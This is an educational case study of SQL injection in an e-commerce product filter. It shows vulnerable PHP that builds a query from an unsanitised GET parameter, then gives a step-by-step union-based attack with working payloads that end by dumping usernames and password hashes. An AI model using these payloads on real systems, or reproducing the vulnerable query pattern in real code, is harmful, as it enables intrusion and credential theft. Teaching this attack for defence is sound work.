Case Study: SQLi in a Product Filtering Mechanism¶
This case study illustrates a common real-world scenario where a SQL injection vulnerability in a seemingly innocuous feature leads to a full database compromise.
Scenario¶
An e-commerce website allows users to filter products by category. The URL for a category looks like this: https://e-shop.com/products?category=Gifts
The backend SQL query is likely constructed as follows:
$category = $_GET['category'];
$query = "SELECT name, price FROM products WHERE category = '$category' AND released = 1";
The Attack¶
-
Discovery: The attacker tests for SQLi by appending a single quote to the parameter value.
https://e-shop.com/products?category=Gifts'The application returns a generic "500 Internal Server Error," indicating that the unclosed quote broke the SQL query. -
Confirming Control: The attacker uses a comment to fix the query, which now returns the page correctly. This confirms the vulnerability.
https://e-shop.com/products?category=Gifts'-- -
Enumeration (Union-Based): The attacker decides to use a UNION-based attack to extract data.
-
Find Number of Columns: They use
ORDER BYto determine the number of columns in the originalSELECTstatement.' ORDER BY 2--(Works)' ORDER BY 3--(Fails) This means there are 2 columns. -
Find String-Compatible Columns: They find which columns can hold string data.
' UNION SELECT 'a', 'b'--The application now displays "a" and "b" on the page, confirming both columns can be used.
-
-
Data Exfiltration:
-
List Tables: The attacker queries
information_schema.tablesto find interesting tables.' UNION SELECT table_name, table_schema FROM information_schema.tables--The output reveals a table namedusersin the databaseeshop_db. -
List Columns: They query
information_schema.columnsfor theuserstable.' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = 'users'--This reveals columns namedusernameandpassword_hash.
-
-
Critical Impact:
- Dump Credentials: The attacker dumps the contents of the
userstable.' UNION SELECT username, password_hash FROM users-- - The response contains usernames and their corresponding password hashes. The attacker can now take these hashes offline to crack them, leading to account takeovers.
- Dump Credentials: The attacker dumps the contents of the